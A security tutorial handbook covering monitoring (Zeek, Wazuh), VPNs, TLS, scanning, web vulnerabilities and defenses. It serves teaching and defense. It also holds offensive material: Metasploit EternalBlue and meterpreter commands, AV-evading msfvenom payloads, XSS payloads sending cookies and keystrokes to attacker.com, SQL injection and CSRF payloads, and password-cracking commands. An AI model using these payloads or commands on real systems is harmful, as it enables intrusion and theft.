@load base/protocols/ssh @load base/frameworks/notice module SSH; export { redef enum Notice::Type += { SSH::BruteForceAttempt }; const ssh_brute_force_limit = 5 &redef; } global ssh_attempts: table[addr] of count &default=0 &write_expire=5min; event ssh_auth_failed(c: connection) { local orig = c$id$orig_h; ssh_attempts[orig] += 1; if (ssh_attempts[orig] >= ssh_brute_force_limit) { NOTICE([$note=SSH::BruteForceAttempt, $msg=fmt("SSH brute force from %s (%d attempts)", orig, ssh_attempts[orig]), $src=orig, $identifier=cat(orig)]); } }

Zeek Log Files

Log FileContents
conn.logAll TCP/UDP/ICMP connections
http.logHTTP requests and responses
dns.logDNS queries and responses
ssl.logSSL/TLS handshake details
ssh.logSSH connection metadata
files.logFile transfers over any protocol
notice.logAlerts generated by Zeek scripts
weird.logProtocol anomalies

23 SIEM & Log Analysis

Centralized security monitoring and threat detection

A Security Information and Event Management (SIEM) system aggregates log data from multiple sources, correlates events, and provides real-time analysis for security monitoring. SIEM is the nerve center of a modern Security Operations Center (SOC).

Key SIEM Capabilities

  • Log Aggregation: Collect logs from firewalls, IDS/IPS, endpoints, servers, and cloud services
  • Correlation: Identify relationships between events across different systems
  • Alerting: Generate alerts based on predefined rules or anomaly detection
  • Dashboards: Visualize security posture with real-time dashboards
  • Incident Response: Provide forensic data for investigation and response
  • Compliance: Generate reports for regulatory requirements (PCI-DSS, HIPAA, GDPR)

Popular SIEM Solutions

SolutionTypeBest For
SplunkCommercialEnterprise, powerful search
Elastic Security (ELK)Open Source / CommercialFlexibility, cost-effective
QRadarCommercialIBM ecosystem, AI
SentinelCommercial (Cloud)Microsoft/Azure environments
WazuhOpen SourceEndpoint detection, compliance
GraylogOpen SourceLog management, fast search

Wazuh — Open Source SIEM/XDR

Install Wazuh server (using the quickstart script)

bash
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh
bash
bash wazuh-install.sh -a

Install Wazuh agent on a Linux endpoint.

bash
wget https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.7.0-1_amd64.deb
bash
dpkg -i wazuh-agent_4.7.0-1_amd64.deb

Configure agent.

bash
sed -i 's/MANAGER_IP/192.168.1.10/' /var/ossec/etc/ossec.conf
bash
systemctl restart wazuh-agent

View Wazuh logs.

bash
cat /var/ossec/logs/alerts/alerts.json | jq '.'

Custom rules in /var/ossec/etc/rules/local_rules.xml.

Example: Detect failed sudo attempts.

bash
<rule id="100001" level="10">
bash
<if_sid>5402</if_sid>
bash
<match>authentication failure</match>
bash
<description>Multiple sudo authentication failures</description>
bash
</rule>

24 VPN Types

Secure remote access and site-to-site connectivity

A Virtual Private Network (VPN) extends a private network across a public network, enabling users to send and receive data across shared or public networks as if their computing devices were directly connected to the private network.

VPN Categories

TypeDescriptionProtocolsUse Case
Remote Access VPNIndividual users connect to corporate networkOpenVPN, WireGuard, IPsec/IKEv2Work from home, mobile workers
Site-to-Site VPNConnects entire networks togetherIPsec, MPLS, WireGuardBranch offices, data centers
SSL/TLS VPNBrowser-based or client-based over HTTPSOpenVPN, AnyConnectEasy deployment, web apps
Layer 2 VPNExtends Layer 2 across networksL2TP, PPTP, OpenVPN TAPLegacy applications
Mesh VPNDecentralized peer-to-peer connectionsWireGuard, Tailscale, NebulaCloud-native, distributed teams

VPN Protocol Comparison

ProtocolEncryptionSpeedSecurityEase of Setup
PPTPMPPEFastBroken — do not useVery easy
L2TP/IPsecAESModerateGoodModerate
OpenVPNAES-256-GCMGoodExcellentModerate
WireGuardChaCha20Very fastExcellentVery easy
IPsec/IKEv2AES-GCMFastExcellentComplex

25 OpenVPN

The industry standard SSL/TLS VPN solution

OpenVPN is an open-source VPN solution that uses SSL/TLS for key exchange and can traverse NATs and firewalls. It's highly configurable, cross-platform, and widely deployed.

Install OpenVPN and Easy-RSA.

bash
apt install openvpn easy-rsa

Set up PKI with Easy-RSA.

bash
make-cadir ~/openvpn-ca
bash
cd ~/openvpn-ca
bash
./easyrsa init-pki
bash
./easyrsa build-ca nopass

Generate server certificate.

bash
./easyrsa gen-req server nopass
bash
./easyrsa sign-req server server

Generate Diffie-Hellman parameters.

bash
./easyrsa gen-dh

Generate client certificate.

bash
./easyrsa gen-req client1 nopass
bash
./easyrsa sign-req client client1

Generate TLS auth key.

bash
openvpn --genkey secret ta.key

Server configuration (/etc/openvpn/server.conf)

bash
port 1194
bash
proto udp
bash
dev tun
bash
ca ca.crt
bash
cert server.crt
bash
key server.key
bash
dh dh.pem
bash
server 10.8.0.0 255.255.255.0
bash
push "redirect-gateway def1 bypass-dhcp"
bash
push "dhcp-option DNS 8.8.8.8"
bash
tls-auth ta.key 0
bash
cipher AES-256-GCM
bash
auth SHA256
bash
user nobody
bash
group nogroup
bash
persist-key
bash
persist-tun
bash
status openvpn-status.log
bash
verb 3

Start OpenVPN server.

bash
systemctl enable --now openvpn@server

Generate client config (.ovpn file)

bash
cat << EOF > client1.ovpn
bash
client
bash
dev tun
bash
proto udp
bash
remote your-server-ip 1194
bash
resolv-retry infinite
bash
nobind
bash
persist-key
bash
persist-tun
bash
ca ca.crt
bash
cert client1.crt
bash
key client1.key
bash
tls-auth ta.key 1
bash
cipher AES-256-GCM
bash
auth SHA256
bash
verb 3
bash
EOF

26 WireGuard

Modern, fast, and simple VPN protocol

WireGuard is a modern VPN protocol that aims to be faster, simpler, and more performant than IPsec and OpenVPN. It uses state-of-the-art cryptography (Curve25519, ChaCha20, Poly1305, BLAKE2s) and has a minimal codebase (~4,000 lines vs. 400,000+ for OpenVPN/IPsec).

Install WireGuard.

bash
apt install wireguard

Generate server keys.

bash
wg genkey | tee privatekey | wg pubkey > publickey

Server configuration (/etc/wireguard/wg0.conf)

bash
[Interface]
bash
PrivateKey = YOUR_SERVER_PRIVATE_KEY
bash
Address = 10.200.200.1/24
bash
ListenPort = 51820
bash
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
bash
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
bash
[Peer]

Client 1.

bash
PublicKey = CLIENT1_PUBLIC_KEY
bash
AllowedIPs = 10.200.200.2/32
bash
[Peer]

Client 2.

bash
PublicKey = CLIENT2_PUBLIC_KEY
bash
AllowedIPs = 10.200.200.3/32

Enable IP forwarding.

bash
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
bash
sysctl -p

Start WireGuard.

bash
wg-quick up wg0
bash
systemctl enable wg-quick@wg0

Client configuration.

bash
[Interface]
bash
PrivateKey = CLIENT_PRIVATE_KEY
bash
Address = 10.200.200.2/32
bash
DNS = 1.1.1.1
bash
[Peer]
bash
PublicKey = SERVER_PUBLIC_KEY
bash
Endpoint = your-server.com:51820
bash
AllowedIPs = 0.0.0.0/0
bash
PersistentKeepalive = 25

View active WireGuard connections.

bash
wg show
bash
wg show wg0 allowed-ips
Tip: For easier WireGuard management, use wg-easy (web UI) or PiVPN for automated setup. For mesh networking, consider Tailscale or Headscale (self-hosted Tailscale).

27 IPsec

Standard protocol suite for secure IP communications

IPsec (Internet Protocol Security) is a protocol suite for securing IP communications by authenticating and encrypting each IP packet in a data stream. It's the standard for site-to-site VPNs and is built into most operating systems and network equipment.

IPsec Components

  • Authentication Header (AH): Provides integrity and authentication but not encryption
  • Encapsulating Security Payload (ESP): Provides confidentiality, integrity, and authentication
  • Security Associations (SA): Defines the parameters for secure communication
  • IKE (Internet Key Exchange): Negotiates and manages SA parameters (IKEv1 and IKEv2)

IPsec Modes

ModeDescriptionUse Case
Transport ModeEncrypts only the payload, original IP header intactHost-to-host communication
Tunnel ModeEncrypts entire packet, adds new IP headerSite-to-site VPNs, remote access

StrongSwan (Linux IPsec implementation)

bash
apt install strongswan

Server configuration (/etc/ipsec.conf)

bash
config setup
bash
charondebug="all"
bash
uniqueids=yes
bash
conn ikev2-vpn
bash
auto=add
bash
compress=no
bash
type=tunnel
bash
keyexchange=ikev2
bash
fragmentation=yes
bash
forceencaps=yes
bash
ike=aes256-sha256-modp1024,3des-sha1-modp1024,aes256-sha384-modp2048!
bash
esp=aes256-sha256,aes256-sha384!
bash
left=%any
bash
leftid=@vpn.example.com
bash
leftcert=server-cert.pem
bash
leftsendcert=always
bash
leftsubnet=0.0.0.0/0
bash
right=%any
bash
rightid=%any
bash
rightauth=eap-mschapv2
bash
rightsourceip=10.10.10.0/24
bash
rightdns=8.8.8.8,8.8.4.4
bash
rightsendcert=never
bash
eap_identity=%identity

Start StrongSwan.

bash
systemctl enable --now strongswan

28 TLS/SSL

Securing data in transit with Transport Layer Security

TLS (Transport Layer Security) and its predecessor SSL (Secure Sockets Layer) are cryptographic protocols designed to provide secure communication over a computer network. TLS is used in HTTPS, email, VPNs, and many other protocols.

TLS Versions

VersionStatusNotes
SSL 2.0Deprecated — insecureVulnerable to multiple attacks
SSL 3.0Deprecated — insecurePOODLE attack
TLS 1.0DeprecatedVulnerable to BEAST, downgrade attacks
TLS 1.1DeprecatedWeak ciphers
TLS 1.2SupportedWidely deployed, secure when configured
TLS 1.3RecommendedFaster handshake, improved security

Certificate Management

Generate a private key and CSR.

bash
openssl req -newkey rsa:4096 -keyout server.key -out server.csr -nodes

Generate a self-signed certificate.

bash
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

Let's Encrypt with certbot.

bash
certbot certonly --standalone -d example.com
bash
certbot --nginx -d example.com
bash
certbot renew --dry-run

Check certificate details.

bash
openssl x509 -in server.crt -text -noout

Check TLS configuration of a server.

bash
nmap --script ssl-enum-ciphers -p 443 example.com
bash
testssl.sh example.com
bash
sslscan example.com

Check certificate expiration.

bash
echo | openssl s_client -servername example.com -connect example.com:443 2>/dev/null | openssl x509 -noout -dates

TLS Best Practices

  • Disable TLS 1.0 and 1.1; enforce TLS 1.2 minimum, TLS 1.3 preferred
  • Use strong cipher suites (AES-GCM, ChaCha20-Poly1305)
  • Enable HSTS (HTTP Strict Transport Security)
  • Implement certificate pinning for mobile apps
  • Monitor certificate transparency logs for unauthorized certificates
  • Use OCSP stapling for certificate revocation checking

29 Nmap

The world's most popular network scanner

Nmap (Network Mapper) is a free and open-source utility for network discovery and security auditing. It can determine what hosts are available, what services they offer, what OS they run, and what packet filters/firewalls are in use.

Advanced Nmap Techniques

Stealth scan (SYN scan without completing handshake)

bash
nmap -sS -T2 target.com

Null, FIN, and Xmas scans (bypass simple firewalls)

bash
nmap -sN target.com

Null scan (no flags)

bash
nmap -sF target.com

FIN scan.

bash
nmap -sX target.com

Xmas scan (FIN, PSH, URG)

Fragment packets (evade simple IDS)

bash
nmap -f target.com
bash
nmap -ff target.com

Double fragment.

Decoy scan (hide your IP among fake ones)

bash
nmap -D RND:10,ME target.com

10 random decoys + your IP.

Idle scan (zombie host — completely anonymous)

bash
nmap -sI zombie.com:80 target.com

OS detection and service version.

bash
nmap -A -T4 target.com

NSE scripts for vulnerability scanning.

bash
nmap --script vuln target.com
bash
nmap --script "smb-*" target.com
bash
nmap --script "http-*" target.com

Scan IPv6.

bash
nmap -6 fe80::1

Output to all formats.

bash
nmap -oA scan_results -A target.com

Top ports scan with service detection.

bash
nmap --top-ports 1000 -sV target.com

Nmap NSE Scripts

List all NSE scripts.

bash
ls /usr/share/nmap/scripts/

HTTP enumeration.

bash
nmap --script http-enum target.com
bash
nmap --script http-title target.com
bash
nmap --script http-headers target.com

SMB enumeration and vulnerability scanning.

bash
nmap --script smb-enum-shares target.com
bash
nmap --script smb-vuln-ms17-010 target.com

EternalBlue.

SSH brute force (with caution!)

bash
nmap --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt target.com

DNS enumeration.

bash
nmap --script dns-brute target.com

SSL/TLS analysis.

bash
nmap --script ssl-enum-ciphers target.com
bash
nmap --script ssl-heartbleed target.com

30 Metasploit Framework

The world's most used penetration testing framework

The Metasploit Framework is a Ruby-based platform for developing, testing, and executing exploits. It provides a complete environment for penetration testing with thousands of exploits, payloads, auxiliary modules, and post-exploitation tools.

Metasploit Architecture

ComponentDescription
ExploitsCode that takes advantage of a vulnerability
PayloadsCode that runs after successful exploitation
AuxiliaryScanners, fuzzers, and other non-exploit tools
EncodersObfuscate payloads to evade detection
NopsNo-operation sleds for buffer overflow exploits
PostPost-exploitation modules for privilege escalation, etc.
EvasionModules to evade antivirus and IDS

Start Metasploit.

bash
msfconsole

Search for modules.

bash
msf6 > search type:exploit platform:windows
bash
msf6 > search cve:2024 rank:excellent
bash
msf6 > search name:apache

Use an exploit module.

bash
msf6 > use exploit/windows/smb/ms17_010_eternalblue
bash
msf6 > show options
bash
msf6 > set RHOSTS 192.168.1.10
bash
msf6 > set LHOST 192.168.1.5
bash
msf6 > set LPORT 4444
bash
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
bash
msf6 > exploit

Meterpreter commands.

bash
meterpreter > help
bash
meterpreter > sysinfo
bash
meterpreter > getuid
bash
meterpreter > ps
bash
meterpreter > migrate 1234
bash
meterpreter > shell
bash
meterpreter > upload /local/file.txt C:\Windows\Temp\file.txt
bash
meterpreter > download C:\Users\Admin\Desktop\secret.doc /tmp/
bash
meterpreter > screenshot
bash
meterpreter > keyscan_start
bash
meterpreter > keyscan_dump
bash
meterpreter > hashdump
bash
meterpreter > load kiwi

Mimikatz integration.

bash
meterpreter > lsa_dump_sam
bash
# Post-exploitation with modules
bash
meterpreter > background
bash
msf6 > use post/windows/gather/enum_applications
bash
msf6 > set SESSION 1
bash
msf6 > run

Generate payloads with msfvenom.

bash
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o payload.elf
bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe
bash
msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f macho -o payload.macho
bash
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php
bash
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.py

Encode payload to evade AV.

bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x64/xor -i 10 -f exe -o encoded.exe

31 Burp Suite

The leading web application security testing platform

Burp Suite is an integrated platform for performing security testing of web applications. Developed by PortSwigger, it's the industry standard for web application penetration testing, with both free (Community) and paid (Professional/Enterprise) editions.

Core Components

ToolFunctionEdition
ProxyIntercept and modify HTTP/HTTPS trafficAll
RepeaterManually modify and resend requestsAll
IntruderAutomated attacks (fuzzing, brute force)Pro
ScannerAutomated vulnerability scanningPro
SequencerAnalyze session token randomnessAll
DecoderEncode/decode data (Base64, URL, hex, etc.)All
ComparerCompare two pieces of dataAll
ExtenderAdd plugins (BApps)All

Common Burp Suite Workflows

  1. Configure the browser proxy. Point the browser at 127.0.0.1:8080 and install Burp's CA certificate (from http://burpsuite/cert) so it can intercept HTTPS too.
  2. Intercept and modify requests. Turn Intercept ON in the Proxy tab, browse to the target, then edit the captured request in the Intercept tab and choose Forward or Drop.
  3. Spider/crawl the application. Right-click the target and choose Scan → Crawl, or explore it manually via Target → Site Map.
  4. Fuzz with Intruder. Right-click a request and send it to Intruder, mark payload positions with § markers, pick an attack type (Sniper, Battering Ram, Pitchfork, or Cluster Bomb), then load payloads and start.
  5. Test for SQL injection in Repeater by trying inputs like these:
sql
' OR '1'='1
sql
' UNION SELECT null,null--
sql
' AND 1=1--

Should return the normal page if the field is injectable.

sql
' AND 1=2--

Should return a different result than 1=1 if the field is injectable.

Test for XSS with payloads such as:

html
<script>alert('XSS')</script>
html
<img src=x onerror=alert('XSS')>
html
javascript:alert('XSS')

32 Wireshark

The world's foremost network protocol analyzer

Wireshark is a free and open-source packet analyzer used for network troubleshooting, analysis, software and protocol development, and education. It captures live traffic and can read capture files from many other tools.

Capture Filters (BPF Syntax)

Capture only HTTP traffic.

bash
tcp port 80

Capture traffic to/from a specific host.

bash
host 192.168.1.10

Capture traffic on a specific network.

bash
net 192.168.1.0/24

Capture ICMP traffic only.

bash
icmp

Capture SSH traffic excluding one host.

bash
tcp port 22 and not host 192.168.1.5

Capture DNS queries.

bash
udp port 53

Capture ARP traffic.

bash
arp

Capture TLS/SSL handshakes.

bash
tcp port 443 and tcp[13] & 2 != 0

Display Filters

Filter by IP address.

bash
ip.addr == 192.168.1.10
bash
ip.src == 192.168.1.10
bash
ip.dst == 192.168.1.10

Filter by protocol.

bash
http
bash
dns
bash
tcp
bash
icmp

Filter by port.

bash
tcp.port == 80
bash
udp.port == 53

Filter HTTP requests.

bash
http.request
bash
http.request.method == "GET"
bash
http.request.method == "POST"
bash
http.host contains "example.com"

Filter DNS queries.

bash
dns.qry.name contains "malicious"

Filter by TCP flags.

bash
tcp.flags.syn == 1 and tcp.flags.ack == 0

SYN scan.

bash
tcp.flags.reset == 1

RST packets.

Filter SSL/TLS.

bash
ssl.handshake.type == 1

Client Hello.

bash
ssl.handshake.type == 2

Server Hello.

bash
tls.handshake.extensions_server_name contains "example.com"

Filter suspicious traffic.

bash
tcp.analysis.retransmission
bash
tcp.analysis.duplicate_ack
bash
tcp.analysis.lost_segment

Tshark (Command-Line Wireshark)

Capture and display packets.

bash
tshark -i eth0

Capture to file.

bash
tshark -i eth0 -w capture.pcap

Read from file with filter.

bash
tshark -r capture.pcap -Y "http.request"

Extract HTTP URIs.

bash
tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri

Extract DNS queries.

bash
tshark -r capture.pcap -Y "dns.flags.response == 0" -T fields -e dns.qry.name

Top talkers.

bash
tshark -r capture.pcap -q -z conv,ip

Protocol hierarchy.

bash
tshark -r capture.pcap -q -z io,phs

33 Hashcat & John the Ripper

Password recovery and hash cracking tools

Hashcat is the world's fastest password recovery tool, supporting GPU acceleration. John the Ripper (JtR) is a versatile password cracker supporting hundreds of hash types. Both are essential for password auditing and penetration testing.

Hashcat

Identify hash type.

bash
hashid "5f4dcc3b5aa765d61d8327deb882cf99"

List supported hash types.

bash
hashcat --help | grep -i ntlm

Crack MD5 hash with wordlist.

bash
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

Crack NTLM hash.

bash
hashcat -m 1000 ntlm_hash.txt /usr/share/wordlists/rockyou.txt

Crack WPA/WPA2 handshake.

bash
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

Crack with rules (mutate wordlist)

bash
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Brute force (mask attack)

bash
hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l

8 lowercase letters.

bash
hashcat -m 0 hash.txt -a 3 ?u?l?l?l?l?d?d?d

1 upper, 4 lower, 3 digits.

Mask characters:

?l = lowercase, ?u = uppercase, ?d = digit.

?s = special, ?a = all, ?h = hex lowercase.

Use GPU acceleration.

bash
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -O

Optimized kernels.

bash
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -d 1

Use specific GPU device.

Show cracked passwords.

bash
hashcat -m 0 hash.txt --show

John the Ripper

Crack Linux password hashes (/etc/shadow)

bash
unshadow /etc/passwd /etc/shadow > hashes.txt
bash
john hashes.txt

Crack with wordlist.

bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Crack with rules.

bash
john --wordlist=/usr/share/wordlists/rockyou.txt --rules hashes.txt

Show cracked passwords.

bash
john --show hashes.txt

Crack ZIP file.

bash
zip2john protected.zip > zip.hash
bash
john zip.hash

Crack PDF.

bash
pdf2john protected.pdf > pdf.hash
bash
john pdf.hash

Crack SSH key.

bash
ssh2john id_rsa > ssh.hash
bash
john ssh.hash

Incremental (brute force) mode.

bash
john --incremental hashes.txt
Legal Notice: Only crack passwords for which you have explicit authorization. Unauthorized password cracking is illegal. These tools are intended for security auditing, penetration testing with permission, and recovering your own forgotten passwords.

34 OWASP Top 10

The most critical web application security risks

The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.

RankRiskDescriptionCommon Impact
A01Broken Access ControlRestrictions on authenticated users are not properly enforcedUnauthorized data access, privilege escalation
A02Cryptographic FailuresFailure to properly protect data in transit or at restData theft, compliance violations
A03InjectionUntrusted data sent to interpreters (SQL, OS, LDAP)Data loss, RCE, authentication bypass
A04Insecure DesignFundamental design flaws in application architectureMultiple attack vectors
A05Security MisconfigurationImproperly configured permissions, features, or defaultsUnauthorized access, data exposure
A06Vulnerable ComponentsUsing outdated or vulnerable libraries/frameworksRCE, data breach
A07Auth FailuresWeak authentication mechanisms or session managementAccount takeover, identity theft
A08Integrity FailuresSoftware and data integrity failures (CI/CD, deserialization)Supply chain attacks, RCE
A09Logging FailuresInsufficient logging and monitoringDelayed detection, no forensic data
A10SSRFServer-Side Request ForgeryInternal network access, cloud metadata theft

35 Cross-Site Scripting (XSS)

Injecting malicious scripts into trusted websites

Cross-Site Scripting (XSS) attacks occur when an attacker injects malicious scripts into content that is then served to other users. XSS is one of the most common web application vulnerabilities.

Types of XSS

TypeDescriptionPersistence
Stored XSSMalicious script stored on the server (database, comment, profile)Persistent
Reflected XSSMalicious script in URL parameters, reflected in responseNon-persistent
DOM-based XSSClient-side JavaScript modifies DOM unsafelyNon-persistent
Blind XSSPayload executes in admin panel or backend systemDelayed

XSS Payloads

A few basic proof-of-concept payloads to confirm a field is vulnerable:

html
<script>alert('XSS')</script>
html
<img src=x onerror=alert('XSS')>
html
<svg onload=alert('XSS')>
html
<body onload=alert('XSS')>

A real attack payload exfiltrates data instead of just popping an alert — here, the victim's cookie:

html
<script>new Image().src="http://attacker.com/steal?cookie="+document.cookie;</script>

Or a keylogger that streams every keystroke to the attacker:

html
<script> document.onkeypress = function(e) { new Image().src="http://attacker.com/keylog?k="+e.key; } </script>

Naive filters that just strip or block the literal <script> tag can often be bypassed:

html
<scr<script>ipt>alert('XSS')</scr</script>ipt>

A filter that removes "<script>" once leaves a working tag behind.

html
<img src="javascript:alert('XSS')">
html
<iframe src="javascript:alert('XSS')"></iframe>

A polyglot payload is written to execute in several different injection contexts at once (HTML attribute, JS string, URL, etc.):

html
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//<stYle>/<titLe>/<teXtarEa>/<scRipt>/~!@$%#^&*()_+-={}|[]:";'<>?,./

XSS Prevention

  • Output Encoding: Encode all output based on context (HTML, JavaScript, URL, CSS)
  • Content Security Policy (CSP): Define approved sources for scripts and resources
  • HttpOnly Cookies: Prevent JavaScript from accessing session cookies
  • Input Validation: Validate and sanitize all user input on the server side
  • Modern Frameworks: Use React, Vue, Angular which auto-escape by default

36 SQL Injection

Manipulating database queries through user input

SQL Injection (SQLi) is a code injection technique where malicious SQL statements are inserted into application queries via user input. It's one of the most dangerous and common web vulnerabilities, potentially allowing complete database compromise.

SQL Injection Types

TypeDescription
In-band (Classic)Results visible directly in application response
Blind (Boolean-based)True/false questions inferred from response differences
Blind (Time-based)Delays used to infer true/false conditions
Error-basedDatabase error messages reveal information
Union-basedUNION operator used to extract data from other tables
Stacked QueriesMultiple queries executed in one statement

SQL Injection Payloads

Authentication bypass.

sql
' OR '1'='1' --
sql
' OR '1'='1' /*
sql
' OR 1=1#
sql
admin' --
sql
admin' #
sql
' OR '1'='1' LIMIT 1 --

Union-based data extraction.

sql
' UNION SELECT null, username, password FROM users --
sql
' UNION SELECT null, table_name, null FROM information_schema.tables --
sql
' UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users' --

Time-based blind SQLi (MySQL)

sql
' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --
sql
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))=97,SLEEP(5),0) --

Error-based (MySQL)

sql
' AND extractvalue(1, concat(0x7e, (SELECT @@version), 0x7e)) --

Database fingerprinting.

sql
' UNION SELECT null, @@version, null --

MySQL.

sql
' UNION SELECT null, version(), null --

PostgreSQL.

sql
' UNION SELECT null, @@version, null --

MSSQL.

sql
' UNION SELECT null, sqlite_version(), null --

SQLite.

SQL Injection Prevention

  • Parameterized Queries (Prepared Statements): The only truly effective defense
  • ORMs: Use ORM frameworks that handle parameterization automatically
  • Input Validation: Whitelist expected input patterns
  • Least Privilege: Database accounts should have minimal permissions
  • WAF: Web Application Firewall as a secondary defense layer

String-formatting user input directly into a query is what makes injection possible:

python
def get_user(username): query = f"SELECT * FROM users WHERE username = '{username}'" return db.execute(query)

A parameterized query fixes it by letting the database driver handle escaping:

python
def get_user(username): query = "SELECT * FROM users WHERE username = %s" return db.execute(query, (username,))

An ORM like SQLAlchemy achieves the same safety without writing raw SQL at all:

python
from sqlalchemy.orm import Session def get_user(db: Session, username: str): return db.query(User).filter(User.username == username).first()

37 Cross-Site Request Forgery (CSRF)

Tricking users into performing unwanted actions

CSRF attacks force an end user to execute unwanted actions on a web application in which they're currently authenticated. Unlike XSS, CSRF exploits the trust that a website has in the user's browser.

How CSRF Works

  1. User logs into bank.com and receives a session cookie
  2. User visits malicious.com in another tab
  3. malicious.com contains a form or image that submits to bank.com/transfer
  4. The browser automatically includes the bank.com cookie with the request
  5. The bank processes the transfer as if the user initiated it

CSRF attack payload (malicious website)

html
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
html
<input type="hidden" name="to_account" value="attacker_account">
html
<input type="hidden" name="amount" value="10000">
html
</form>
html
<script>document.getElementById('csrf-form').submit();</script>

CSRF via image tag (GET request)

html
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

CSRF Prevention

  • CSRF Tokens: Include unpredictable tokens in every state-changing request
  • SameSite Cookies: Set SameSite=Strict or SameSite=Lax on session cookies
  • Referer/Origin Header Validation: Verify the request originated from your domain
  • Custom Headers: Require custom headers for AJAX requests (simple requests can't set them)
  • Re-authentication: Require password re-entry for sensitive actions

Flask-WTF issues and checks a CSRF token automatically once enabled:

python
from flask_wtf.csrf import CSRFProtect csrf = CSRFProtect(app)

Include the token as a hidden field in every form that changes state:

html
<form method="POST"> {{ csrf_token() }} <input type="text" name="username"> <button type="submit">Submit</button> </form>

Pair it with SameSite cookies as a second layer of defense:

python
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' app.config['SESSION_COOKIE_SECURE'] = True

38 Web Application Defense

Securing web applications against common attacks

Defending web applications requires a multi-layered approach combining secure coding practices, proper configuration, and runtime protection.

Security Headers

Essential security headers in Nginx.

nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self';" always;
nginx
add_header X-Frame-Options "DENY" always;
nginx
add_header X-Content-Type-Options "nosniff" always;
nginx
add_header X-XSS-Protection "1; mode=block" always;
nginx
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
nginx
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

Web Application Firewall (WAF)

A WAF filters, monitors, and blocks HTTP traffic to and from a web application. It protects against SQL injection, XSS, CSRF, and other web attacks.

ModSecurity with OWASP CRS (Nginx)

Install libmodsecurity and nginx connector.

In nginx.conf:

nginx
modsecurity on;
nginx
modsecurity_rules_file /etc/nginx/modsec/main.conf;

/etc/nginx/modsec/main.conf:

nginx
Include /etc/nginx/modsec/modsecurity.conf
nginx
Include /usr/share/modsecurity-crs/crs-setup.conf
nginx
Include /usr/share/modsecurity-crs/rules/*.conf

Cloudflare WAF (managed service)

AWS WAF.

Azure Front Door WAF.

Additional Web Defense Measures

  • Rate Limiting: Prevent brute force and DDoS attacks
  • Input Validation: Validate all input on server side (never trust client)
  • Output Encoding: Encode output based on context
  • Parameterized Queries: Use prepared statements for all database access
  • Session Security: Secure, HttpOnly, SameSite cookies; short session timeouts
  • Dependency Scanning: Regularly scan for vulnerable libraries (Snyk, Dependabot)
  • Security Scanning: DAST and SAST in CI/CD pipeline

39 Network Segmentation

Dividing networks into isolated security zones

Network segmentation is the practice of dividing a computer network into subnetworks, each being a network segment. Segmentation improves security by limiting the scope of an attack — if one segment is compromised, the attacker cannot easily move to others.

Segmentation Strategies

StrategyMethodBest For
VLANsLogical separation at Layer 2Cost-effective, flexible
Physical SeparationSeparate hardware and cablingMaximum security (air-gapped)
Micro-segmentationPolicy-based per-workloadCloud, data centers
SDN SegmentationSoftware-defined policiesDynamic environments

Common Network Zones

network
Internet | v [Edge Firewall] ------------------[VPN Gateway] | | v v [DMZ] [Remote Users] (Web Servers, Mail) | | v v [Internal Network] [Internal Firewall] | | +-- [Workstations VLAN 10] v +-- [Servers VLAN 20] [Internal Network] +-- [Database VLAN 30] | +-- [IoT VLAN 40] +-- [Production VLAN] +-- [Guest VLAN 50] +-- [Development VLAN] +-- [Management VLAN] +-- [Backup VLAN]

VLAN Configuration (Cisco IOS)

! Create VLANs.

cisco
vlan 10
cisco
name Workstations
cisco
vlan 20
cisco
name Servers
cisco
vlan 30
cisco
name Database
cisco
vlan 99
cisco
name Management

! Configure trunk port.

cisco
interface GigabitEthernet0/1
cisco
switchport mode trunk
cisco
switchport trunk allowed vlan 10,20,30,99
cisco
switchport trunk native vlan 99

! Configure access port.

cisco
interface GigabitEthernet0/2
cisco
switchport mode access
cisco
switchport access vlan 10
cisco
spanning-tree portfast
Tip: Always change the native VLAN from the default (VLAN 1) to an unused VLAN. VLAN hopping attacks exploit the native VLAN to gain access to other VLANs.

